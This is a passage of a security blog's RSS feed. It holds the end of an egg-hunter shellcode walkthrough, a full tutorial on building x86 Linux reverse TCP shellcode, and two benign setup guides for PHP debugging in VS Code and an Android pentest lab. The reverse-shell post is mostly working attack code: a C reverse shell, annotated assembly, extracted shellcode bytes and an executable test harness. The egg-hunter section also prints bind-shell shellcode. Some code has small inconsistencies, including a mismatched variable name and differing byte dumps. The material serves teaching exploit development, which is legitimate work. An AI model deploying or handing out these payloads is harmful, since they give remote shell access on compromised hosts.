edx instruction.</p><pre>[----------------------------------registers-----------------------------------]<br>EAX: 0x0 <br>EBX: 0x50905090 &lt;-- OUR EGG TAG HERE<br>ECX: 0x0 <br>EDX: 0x404060 --&gt; 0x50905090  &lt;-- OUR EGG TAG HERE<br>ESI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EDI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EBP: 0xbffff038 --&gt; 0x0 <br>ESP: 0xbffff01c --&gt; 0x40121e (&lt;main+117&gt;:       mov    eax,0x0)<br>EIP: 0x404045 --&gt; 0xe2ff<br>EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)<br>[-------------------------------------code-------------------------------------]<br>   0x40403e &lt;ehunter+30&gt;:       jne    0x40402e &lt;ehunter+14&gt;<br>   0x404040 &lt;ehunter+32&gt;:       cmp    DWORD PTR [edx+0x4],ebx<br>   0x404043 &lt;ehunter+35&gt;:       jne    0x40402e &lt;ehunter+14&gt;<br>=&gt; 0x404045 &lt;ehunter+37&gt;:       jmp    edx<br> | 0x404047 &lt;ehunter+39&gt;:       add    BYTE PTR [eax],al<br> | 0x404049:    add    BYTE PTR [eax],al<br> | 0x40404b:    add    BYTE PTR [eax],al<br> | 0x40404d:    add    BYTE PTR [eax],al<br> |-&gt;   0x404060 &lt;code&gt;: nop<br>       0x404061 &lt;code+1&gt;:       push   eax &lt;- JUMP HERE IF EDX+4 = EBX<br>       0x404062 &lt;code+2&gt;:       nop<br>       0x404063 &lt;code+3&gt;:       push   eax<br>                                                                  JUMP is taken</pre><p>We can see in the 0x404068 &lt;code+8&gt; instruction the begining of our shellcode.</p><pre>[----------------------------------registers-----------------------------------]<br>EAX: 0x0 <br>EBX: 0x50905090 <br>ECX: 0x0 <br>EDX: 0x404060 --&gt; 0x50905090 <br>ESI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EDI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EBP: 0xbffff038 --&gt; 0x0 <br>ESP: 0xbffff00c --&gt; 0x0 <br>EIP: 0x40406a --&gt; 0x5099db31<br>EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)<br>[-------------------------------------code-------------------------------------]<br>   0x404066 &lt;code+6&gt;:   nop<br>   0x404067 &lt;code+7&gt;:   push   eax      <br>   0x404068 &lt;code+8&gt;:   xor    eax,eax    &lt;---- HERE OUR SHELLCODE BEGIN<br>=&gt; 0x40406a &lt;code+10&gt;:  xor    ebx,ebx<br>   0x40406c &lt;code+12&gt;:  cdq    <br>   0x40406d &lt;code+13&gt;:  push   eax<br>   0x40406e &lt;code+14&gt;:  push   0x1<br>   0x404070 &lt;code+16&gt;:  push   0x2<br>[------------------------------------stack-------------------------------------]<br>0000| 0xbffff00c --&gt; 0x0 <br>0004| 0xbffff010 --&gt; 0x0 <br>0008| 0xbffff014 --&gt; 0x0 <br>0012| 0xbffff018 --&gt; 0x0 <br>0016| 0xbffff01c --&gt; 0x40121e (&lt;main+117&gt;:      mov    eax,0x0)<br>0020| 0xbffff020 --&gt; 0x1 <br>0024| 0xbffff024 --&gt; 0xbffff0e4 --&gt; 0xbffff2bb (&quot;/home/adm&quot;)<br>0028| 0xbffff028 --&gt; 0xbffff0ec --&gt; 0xbffff2e4 (&quot;LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc&quot;...)<br>[------------------------------------------------------------------------------]<br>Legend: code, data, rodata, value<br>0x0040406a in code ()<br>gdb-peda$</pre><p>How the Egg Hunter know where my shellcode begin ? We can validate this viewing the souce code of shellcode used in this example.</p><pre>global _start</pre><pre>  _start:</pre><pre>  ; int socket(int domain, int type, int protocol); </pre><pre>  xor eax, eax      &lt;--- HERE THE SHELLCODE BEGIN<br>  xor ebx, ebx<br>  cdq</pre><pre>  push eax              ; protocol - 0<br>  push byte 0x1         ; type - SOCK_STREAM<br>  push byte 0x2         ; dominio - AF_INET<br>  <br>  mov ecx, esp          <br>  inc bl                ; sys_socket <br>  mov al, 102           ; socketcall system call<br>  int 0x80</pre><p>If we remember from our C wrapper the w00f string contains the EGG TAG. This string repeat twice and when the Egg Hunter find this pattern in the VAS transfer the control to the beginning of our shellcode using the jmp edx instruction.</p><pre>unsigned char code[] = w00f w00f \</pre><pre>&quot;\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66&quot;  // BIND TCP SHELLCODE<br>&quot;\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10&quot;  // from assignment 1<br>&quot;\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04&quot;<br>&quot;\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89&quot;<br>&quot;\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f&quot;<br>&quot;\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b&quot;<br>&quot;\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80&quot;;</pre><p>Thanks for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=949664643103" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a shellcode: Reverse tcp shell]]></title>
            <link>https://medium.com/@inmune7/creating-a-shellcode-reverse-tcp-shell-1eea51c633ff?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eea51c633ff</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[assembler]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Thu, 13 Jan 2022 20:43:22 GMT</pubDate>
            <atom:updated>2022-01-13T20:43:22.763Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aEwefCSxz1Wo9EhYDd-YXg.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@estherrj?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Esther Jiao</a> on <a href="https://unsplash.com/s/photos/blocks?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>In this blog post, we&#39;re going to create a working demo of reverse TCP shellcode. This kind of shellcode is useful in the situation when you exploit a software vulnerability and want to establish a reverse TCP connection to the compromised host. At the very beginning we define what is a reverse TCP shellcode, we next show a reverse TCP shell PoC in C and finally a working example in assembly language.</p><h3>Reverse TCP Shellcode</h3><p>A reverse tcp shellcode is basically a program written in assembly language which let you create a reverse tcp connection to the attacker host. In the next image, we can see two hosts, the attacker from one side and the victim from the other side. The attacker machine in the step 1 exploit a vulnerability in the victim machine, the attacker in the step 2 setup a socket listen for incoming connections in a predefined ip/port, in the step 3 the attacker create a reverse tcp connection from the victim machine to the socket configured in the step 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/0*tQrPxQLTfb-5jRMZ.png" /></figure><p>In order to understand what functions are involved in the reverse tcp shellcode creation, we begin with a PoC in C.</p><h3>C reverse Shell</h3><pre>#include&lt;stdio.h&gt;<br>#include&lt;unistd.h&gt;<br>#include&lt;sys/socket.h&gt;<br>#include&lt;netinet/in.h&gt;<br>#include&lt;netinet/ip.h&gt;</pre><pre>#define PORT  31337<br>#define IP &quot;127.0.0.1&quot;</pre><pre>int soc, rc;</pre><pre>struct sockaddr_in srv_addr;</pre><pre>int main()<br>{</pre><pre> // populate sockaddr_in structure </pre><pre>  srv_addr.sin_family=2;<br>  srv_addr.sin_addr.s_addr=inet_addr(IP); <br>  srv_addr.sin_port=htons(PORT);</pre><pre>  soc=socket(2,1,0);</pre><pre>  rc = connect(soc, (struct sockaddr*)&amp;serv_addr, 0x10)<br>  <br>  dup2(soc,0);<br>  dup2(soc,1);<br>  dup2(soc,2);<br>  execve(&quot;/bin/sh&quot;,0,0);</pre><pre>}</pre><p>Don’t worry about if you don&#39;t understand the code above, what we need here is identify the functions involved during the reverse tcp shellcode creation, the functions are:</p><ol><li>socket — creates an endpoint for communication and returns a file descriptor that refers to that endpoint</li><li>connect — assigns an address to a socket file descriptor.</li><li>dup2 — used to duplicate stdout, stdin, stderr</li></ol><p>Also we need to create the structure sockaddr_in into the stack in order to create a working assembly code.</p><h3>Reverse TCP shellcode in assembly</h3><p>In the reverse tcp shellcode creation process, we&#39;re going to use the socketcall syscall which multiplex all networking operations. The socketcall syscall takes two arguments:</p><pre>#include &lt;linux/net.h&gt;<br>int socketcall(int call, unsigned long *args);</pre><p>The first parameter is an integer which specifies the call to execute. The values are listed in /usr/include/linux/net.h</p><pre>adm@adm-pc:~$ grep SYS_ /usr/include/linux/net.h <br>#define SYS_SOCKET      1               /* sys_socket(2)                */<br>#define SYS_BIND        2               /* sys_bind(2)                  */<br>#define SYS_CONNECT     3               /* sys_connect(2)               */<br>#define SYS_LISTEN      4               /* sys_listen(2)                */<br>#define SYS_ACCEPT      5               /* sys_accept(2)                */<br>#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */<br>#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */<br>#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */<br>#define SYS_SEND        9               /* sys_send(2)                  */<br>#define SYS_RECV        10              /* sys_recv(2)                  */<br>#define SYS_SENDTO      11              /* sys_sendto(2)                */<br>#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */<br>#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */<br>#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */<br>#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */<br>#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */<br>#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */<br>#define SYS_ACCEPT4     18              /* sys_accept4(2)               */<br>#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */<br>#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */</pre><p>The second argument points to a block containing the actual arguments, which are passed through to the appropriate call.</p><p>In the code we start cleaning the eax, ebxregister also using the cdqinstruction we clear the edx.</p><pre>_start:<br>  xor eax, eax<br>  xor ebx, ebx<br>  cdq</pre><p>We next execute the socket syscall. We push the eax register which contains the value zero into the stack, this value is the protocol, next we push a byte 0x1 into the stack which is the type or sock_stream, finally we push a byte 0x2 into the stack which is the domain in this case AF_INET.</p><p>The next part mov ecx, esp with this instruction we save into the ecx register the pointer of this structure. Next we increment the value of bl (now bl contains 1) which represent the sys_socket value from /usr/include/linux/net.h. Next we save into the all register the value 102 which is the socketcall syscall. Finally, with the int 0x80 we call the kernel to have the system call executed.</p><pre>; int socket(int domain, int type, int protocol);<br>  <br>  push eax              ; protocol - 0<br>  push byte 0x1         ; type - SOCK_STREAM<br>  push byte 0x2         ; dominio - AF_INET<br>  <br>  mov ecx, esp          ; save structure in ecx<br>  inc bl                ; define SYS_SOCKET      1<br>  mov al, 102           ; socketcall system call<br>  int 0x80</pre><pre>  mov esi, eax ; save the socketfd</pre><p>We next execute to connect syscall. One difference between the bind tcp shellcode and reverse tcp shellcode is we don&#39;t need (bind, accept, listen), we only need to connect syscall because we want the victim machine to connect back to us.</p><p>We move the attacker address to the esp using the instruction mov byte[esp], 0x7f &amp; mov byte[esp+3], 0x1. Next we push the port number 31337 or 0x697a to the top of the stack, the next instruction push word 2 define the domain for the sockaddr structure.</p><p>We save into the ecx register the pointer of the sockadd structure, next we push 0x10, ecx (struct sockadd) and the socketfd. Finally, we increment bl twice to hold the SYS_CONNECT syscall id, we movinto al the id of the socketcall syscall and let the kernel execute the syscall.</p><pre>; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);</pre><pre>  <br>  mov byte[esp], 0x7f   ; sin_addr = 127.0.0.1<br>  mov byte[esp+3], 0x1       <br>  push word 0x697a      ; port = 31337 <br>  push word 2           ; AF_INET = 2 </pre><pre>  mov ecx, esp          ; save pointer in ecx</pre><pre>  push byte 0x10        ; sizeof = 16<br>  push ecx              ; struct sockadd pointer<br>  push esi              ; socketfd <br>  <br>  mov ecx, esp          ; save pointer in ecx<br>  inc bl<br>  inc bl                ; define SYS_CONNECT     3 <br>  mov al, 102<br>  int 0x80</pre><p>The final syscall is the dup. We clear the ecx register using the xor instruction. Next we move to the cl the value 3, this value is used during the loop for duplicate fd (stdin, stdout, stderr).</p><pre>; int dup3(int oldfd, int newfd, int flags);</pre><pre>  xor ecx, ecx<br>  mov cl, 3<br>  l00p:<br>    dec cl<br>    mov al, 63<br>    int 0x80<br>    jnz l00p</pre><p>Here is the full source code of reverse TCP shellcode in assembly.</p><h3>Full reverse shell</h3><pre>; Reverse TCP shellcode in ASM<br>; File: reverse.nasm</pre><pre>section .DATA</pre><pre>section .BSS<br></pre><pre>section .TEXT</pre><pre>global _start</pre><pre>  _start:</pre><pre>  ; clear registers<br>   </pre><pre>  xor eax, eax<br>  xor ebx, ebx<br>  cdq</pre><pre>  ; int socket(int domain, int type, int protocol);<br>  <br>  push eax              ; protocol - 0<br>  push byte 0x1         ; type - SOCK_STREAM<br>  push byte 0x2         ; dominio - AF_INET<br>  <br>  mov ecx, esp          ; save structure in ecx<br>  inc bl                ; sys_socket <br>  mov al, 102           ; socketcall system call<br>  int 0x80</pre><pre>  mov esi, eax ; save fd</pre><pre>  ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);</pre><pre>  <br>  mov byte[esp], 0x7f   ; sin_addr = 127.0.0.1<br>  mov byte[esp+3], 0x1       <br>  push word 0x697a      ; port = 31337 <br>  push word 2           ; AF_INET = 2 </pre><pre>  mov ecx, esp          ; save pointer in ecx</pre><pre>  push byte 0x10        ; sizeof = 16<br>  push ecx              ; struct sockadd pointer<br>  push esi              ; socketfd <br>  <br>  mov ecx, esp          ; save pointer in ecx<br>  inc bl<br>  inc bl                ; bl contains 3<br>  mov al, 102<br>  int 0x80</pre><pre>  ; int dup3(int oldfd, int newfd, int flags);</pre><pre>  xor ecx, ecx<br>  mov cl, 3<br>  l00p:<br>    dec cl<br>    mov al, 63<br>    int 0x80<br>    jnz l00p<br></pre><pre>  ; int execve(const char *filename, char *const argv[],char *const envp[]) </pre><pre>  push edx<br>  push long 0x68732f2f<br>  push long 0x6e69622f<br>  mov ebx, esp<br>  push edx<br>  push edx<br>  mov ecx, esp<br>  mov al, 0x0b<br>  int 0x80<br></pre><pre>  ; exit syscall<br>  xor eax, eax<br>  mov al, 0x1<br>  mov bl, 0x8<br>  int 0x80</pre><p>Compile the program with nasm -f elf32 reverse.nasm -o reverse.o and link ld reverse.o -o reverse the program</p><h3>Testing shellcode</h3><p>Extracting the shellcode</p><p>objdump -D ./reverse|grep &#39;[0-9a-f]:&#39;|grep -v &#39;file&#39;|cut -f2 -d:|cut -f1-6 -d&#39; &#39;|tr -s &#39; &#39;|tr &#39;\t&#39; &#39; &#39;|sed &#39;s/ $//g&#39;|sed &#39;s/ /\\x/g&#39;|paste -d &#39;&#39; -s |sed &#39;s/^/&quot;/&#39;|sed &#39;s/$/&quot;/g&#39;</p><p>Reverse TCP shellcode</p><pre>&quot;\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52<br>\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80<br>\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80<br>\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68<br>\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd<br>\x80&quot;</pre><p>We put the shellcode into the wrap in C.</p><pre>/*<br>  File: shellcode.c<br>*/</pre><pre>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>	<br>&quot;\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66&quot;<br>&quot;\xcd\x80\x89\xc6\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x7a&quot;<br>&quot;\x69\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xfe\xc3&quot;<br>&quot;\xb0\x66\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8&quot;<br>&quot;\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89&quot;<br>&quot;\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80&quot;;<br>            <br>   </pre><pre>main()<br>{</pre><pre>        printf(&quot;Shellcode Length:  %d\n&quot;, strlen(code));</pre><pre>        int (*ret)() = (int(*)())code;</pre><pre>        ret();</pre><pre>}</pre><p>Compile the program</p><p>gcc -fno-stack-protector -z execstack shellcode.c -o shellcode</p><p>Testing shellcode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ju0PB6HWvTAQZwDM__V5gQ.jpeg" /></figure><p>Thank you for read :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eea51c633ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Debugging PHP code with vscode]]></title>
            <link>https://medium.com/@inmune7/debugging-php-code-with-vscode-cf429aa0178a?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf429aa0178a</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Fri, 07 Aug 2020 12:21:24 GMT</pubDate>
            <atom:updated>2021-12-28T03:06:20.638Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1AktzTtx2ZOH1kb8yv7Piw.jpeg" /></figure><h4>Introduction</h4><p>An important resource during a source code review is an environment to perform debugging, in this article, we will mention the installation and configuration of vscode a development environment widely used these days that has interesting features for debugging.</p><h4>Vscode installation</h4><p>To install vscode we download the package distribution according to our linux flavor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*Np9YEjkzmTOGPPlxbmbR_w.png" /></figure><p>We execute the command dpkg -i code_1.45.1–1589445302_amd64.deb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*GV307Vd-XGSj2RI-XtfTxw.png" /></figure><p>After the installation is complete, we can start Visual Studio at Applications -&gt; Common Applications -&gt; Development -&gt; Visual Studio Code or simply write the name of the program (code) in a terminal and press enter.</p><h4>xDebug Installation</h4><p>Once Visual Studio Code is open, we go to the extensions and look for php-debug to install it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*SNDj94e8f2VvoA-Y6OcjVw.png" /></figure><p>Next, we start apache with the command systemctl start apache2. Then we go to the root of the www directory and create a simple php file with the following code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*I2J7MZL3KMYyYwJVifowoA.png" /></figure><p>Open a browser and go to <a href="http://localhost/info.php">http://localhost/info.php</a> and copy the entire output (use Ctrl + a).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*UbEDEkatY6iHeoT5frkqCQ.png" /></figure><p>Go to <a href="https://xdebug.org/wizard">https://xdebug.org/wizard</a>, and paste the output (Ctrl + p) and press analyze phpinfo () output.</p><h4>xDebug installation wizard</h4><p>In this section, the xDebug page will analyze the phpinfo() output on our system and guide us through the installation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*ikRhE0vRBhcX7bqqCrgMKw.png" /></figure><p>We followed the installation instructions:<br>1. Download xdebug-2.9.6.tgz.<br>2. Install the pre-requisites to install the compiled php components.<br>3. On a Debian system run: apt-get install php-dev autoconf automake.<br>4. Unpack the downloaded file with: tar -xvzf xdebug-2.9.6.tgz.<br>5. In a terminal, we execute cd xdebug-2.9.6.<br>6. And then this command: phpize.</p><p>Note: Debian and Ubuntu users should install the development packages with the command apt install php-dev. OpenSuse users can do it with zypper install php7-devel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*QKCE6OlegSFwduz0_-9Jyw.png" /></figure><p>7. We run: ./configure.<br>8. We execute: make.<br>9. Copy the modules with the command: cp modules/xdebug.so /usr/lib/php/20180731.<br> (Edit the file php.ini) vim /etc/php/7.3/apache2/php.ini and add the line<br> zend_extension = /usr/lib/php/20180731/xdebug.so<br> We make sure that zend_extension = /usr/lib/php/20180731/xdebug.so is below the APcache line.<br>10. We also update the php.ini files in adjacent directories for both the command line and the webserver.<br>11. Enable remote debugging on your system in the php.ini file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*NFWhE6skd_FtVUdES0TIdQ.png" /></figure><p>12. We restart our web server with systemctl restart apache2<br>We verify the installation of xdebug by using the output of phpinfo() in the XDebug section.<br>To do this we run php -m and check that the XDebug module is in the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/162/1*-PDewTz4hGfWLO41dhgIrA.png" /></figure><h4>Vscode Configuration</h4><p>To configure vscode we first create a directory, give it the appropriate permissions and then create a .php file with the following code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*VR9UCSOZS83kfBsHGW5V7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*HuT5owvg6WHUOAJDNyXLug.png" /></figure><p>In Visual Studio code, open the folder with the .php file.</p><p>Go to the debugger tab and press the gear to later select PHP as the language. After that a configuration file (launch.json) will be created automatically with the following settings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*1VQ_DGq4UR5hXe8vJffgfQ.png" /></figure><p>Go to the Explore section and select the PHP file, then select the breakpoint you want to configure by pressing Right Click &gt; Add New Breakpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*gG_iLYv6MUBxzQicR9nkgw.png" /></figure><p>Let’s run, for this we can select “Listen for Xdebug” or “Launch currently open script”<br> 1. Debugging “Listen for Xdebug”: Press the button -&gt; select “Listen for Xdebug” -&gt; start the debugging. You will see a debugger toolbar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*f5RgHj_C13cyYl-urE8QYw.png" /></figure><p>2. Open a browser, find the php file and press Enter. Visual Studio code will reach the breakpoint. It is important to mention that it is not necessary to put the port number in the URl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*qiEl7buExUGI7jyjHoWP7g.png" /></figure><p>3. Debugging “Launch currently open script”: Click on the Execute button -&gt; select “Launch currently open script” -&gt; start the debugging. You will see a debugger toolbar and Visual Studio code will reach the configured breakpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*SdciuXOYu6PO5eAU-a8Izg.png" /></figure><p>We hope that this new entry in our blog has been very useful, if you liked it, we invite you to share it, comment or recommend us.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf429aa0178a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Pentesting Lab — Android Studio]]></title>
            <link>https://medium.com/@inmune7/android-pentesting-lab-android-studio-370ea680a49c?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/370ea680a49c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Mon, 03 Aug 2020 14:39:19 GMT</pubDate>
            <atom:updated>2021-12-28T03:05:31.712Z</atom:updated>
            <content:encoded><![CDATA[<h3>Android Pentesting Lab — Android Studio</h3><p>Installing and configuring Android Studio</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pmOqOZnGP8m2MWJJexQt0A.jpeg" /></figure><h4>Introduction</h4><p>In first parts of this series we have published related to the configuration of an environment for testing penetration in Android applications, we have worked in an environment under Linux, now in this part three, we will mention the installation process of Android Studio under Windows, ending with the configuration of a virtual device.</p><h4>Android Studio installation</h4><p>To install Android Studio first download it from the following <a href="https://developer.android.com/studio">link</a>. After starting the installation process in the components section, we also choose Android Virtual Device (AVD):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*x6qLg9VeAsHxL9hAOFLbGg.png" /></figure><p>Then we select the path in our file system where we want to store the Android Studio files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*qOI7EppVYtY7SqyYZvTzQg.png" /></figure><p>At the end of the installation process, select the option “Start Android Studio”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*AH56-QSaU4Lhi_qaqRvbrQ.png" /></figure><p>Now in the Configuration Wizard, we are going to select the components that we want to install in our system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*EYLqQ7pyGsGW8YanzfN1Rg.png" /></figure><p>For the type of installation, select “Standard” and press Next:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*sl1OLhtdI4KBDeU4_SX_Bw.png" /></figure><p>Finally, the Wizard asks us to verify the components to be installed, one of the most used tools &gt;ADB comes inside Android SDK Platform-Tools, so it is not necessary to install it using another way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*1xl_NtS1mZAH-kFrrNaSOw.png" /></figure><p>At the end of the installation process, we can start Android Studio.</p><p>Now let’s mention the Android Virtual Device installation process.</p><h4>Android Virtual Device Configuration</h4><p>The next step is to configure our virtual device, for this, we go to the Configure option (in the lower-left corner) and click on the AVD option:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*RCTZRSDmWpz57MOVlvHe4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*lIpWtgAHxFteUyLeStWq4w.png" /></figure><p>In the “Select Hardware” section we choose the device we want to emulate, in our case a Nexus 7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Dzs55VFDT_KUxP2Fi8K6pg.png" /></figure><p>Next, we select the image or version of Android that we are going to install next to the device:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*Vlx_ac8CBPs8Nk9pl9JESg.png" /></figure><p>Press Next to start the installation process of all components:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*XXb9BY6YW7Xw8oj6LlcnWw.png" /></figure><p>In the end we are presented with the AVD configuration screen, where we can configure options of our virtual device (network, wifi, orientation, among others).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*xxg7CpcY8Yx_d_brNVqRAg.png" /></figure><p>After setting the parameters of our device we can start it using the Power option presented by the AVD panel or via the command line using the command emulator -avd &lt;AVD_DEVICENAME&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vV6NQDpNLpHTtd_yzkXReg.png" /></figure><p>If you liked this post share it. Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=370ea680a49c" width="1" height="1" alt="">]]></content:encoded>
        </item>
